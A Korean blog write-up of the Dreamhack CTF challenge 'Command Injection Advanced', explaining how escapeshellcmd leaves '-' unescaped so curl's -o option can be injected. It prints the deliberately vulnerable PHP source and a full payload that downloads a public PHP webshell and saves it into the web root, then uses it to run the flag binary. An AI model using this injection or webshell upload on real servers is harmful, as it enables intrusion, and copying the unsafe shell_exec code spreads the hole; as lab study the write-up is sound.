dreamhack

[Dreamhack] Command Injection Advanced

부산영롱 2024. 2. 2. 11:41

문제 페이지에서는 사용자가 입력한 url에서 데이터를 다운로드할 수 있는 온라인 도구를 제공한다.

가져온 데이터는 cache 폴더에 저장되고 화면에도 표시된다.

아래 코드에서 중요하게 봐야할 것은 escapeshellcmd 함수이다.

 

escapeshellcmd  함수는 메타 문자를 통한 커맨드 인젝션을 방지하기 위해 문자 앞에 '\(백슬러시)'를 삽입하는데

'-' 문자는 escape 되지 않는다.(앞에 '\'가 붙지 않는다)

명령어 옵션을 이용한 공격이 가능하다는 건데 curl 명령어에서는 -o 옵션으로 임의의 디렉토리에 파일을 생성할 수 있다.

<html>
    <head></head>
    <link rel="stylesheet" href="/static/bulma.min.css" />
    <body>
        <div class="container card">
        <div class="card-content">
        <h1 class="title">Online Curl Request</h1>
    <?php
        if(isset($_GET['url'])){
            $url = $_GET['url'];
            if(strpos($url, 'http') !== 0 ){
                die('http only !');
            }else{
                $result = shell_exec('curl '. escapeshellcmd($_GET['url']));
                $cache_file = './cache/'.md5($url);
                file_put_contents($cache_file, $result);
                echo "<p>cache file: <a href='{$cache_file}'>{$cache_file}</a></p>";
                echo '<pre>'. htmlentities($result) .'</pre>';
                return;
            }
        }else{
        ?>
            <form>
                <div class="field">
                    <label class="label">URL</label>
                    <input class="input" type="text" placeholder="url" name="url" required>
                </div>
                <div class="control">
                    <input class="button is-success" type="submit" value="submit">
                </div>
            </form>
        <?php
        }
    ?>
        </div>
        </div>
    </body>
</html>

 

익스플로잇 순서는 다음과 같다.

1. 커맨드 인젝션

"-o" 옵션을 사용해서 임의 위치에 파일을 생성할 수 있는지 확인해야 합니다. 예제에서는 cache 디렉터리에 쓰기 권한이 있으므로, 해당 위치에 파일을 생성하고, 생성한 페이지에 접속해봄으로써 생성 여부를 확인할 수 있습니다.

2. 웹셸 업로드

커맨드 인젝션을 통해 cache 디렉터리에 파일을 생성했다면, 파일 내용에 명령어를 실행하는 코드를 삽입해 웹셸 파일을 업로드해야 합니다. curl 명령어의 "-o" 옵션은 해당 명령어의 실행 결과를 파일로 저장하므로, 웹셸 코드가 포함된 웹 페이지를 방문해야 합니다.

3. 플래그 실행

문제의 지문을 확인해보면, 플래그는 텍스트 파일 형식이 아닌 실행 권한만 존재하는 ELF 형식의 파일입니다. 따라서 업로드한 웹셸을 통해 플래그 파일을 실행하는 명령어를 입력해 최종 플래그를 획득해야 합니다.

 

curl 명령어를 통해 아래 url에서 웹셸 코드를 다운받고 -o 옵션을 통해 webshell.php 파일을 저장시켜야한다.

[웹셸 코드가 포함된 웹 주소] -o [웹셸을 저장할 경로]

따라서 입력해야하는 값은 아래와 같다.

https://gist.githubusercontent.com/joswr1ght/22f40787de19d80d110b37fb79ac3985/raw/50008b4501ccb7f804a61bc2e1a3d1df1cb403c4/easy-simple-php-webshell.php -o /var/www/html/cache/webshell.php

그리고 /cache/webshell.php에 접속하면 셸을 실행시킬 수 있는 커맨드 창이 뜨는 것을 볼 수 있다.

ls 명령어로 flag 위치를 파악한 뒤 실행하면 플래그를 획득할 수 있다.

'dreamhack' 카테고리의 다른 글

[Dreamhack] amocafe  (0) 2024.02.07
[Dreamhack] proxy-1  (0) 2024.02.02
[Dreamhack] sql injection bypass WAF  (0) 2024.02.01
[Dreamhack] error based sql injection  (0) 2024.02.01
[Dreamhack] Carve Party  (0) 2024.01.18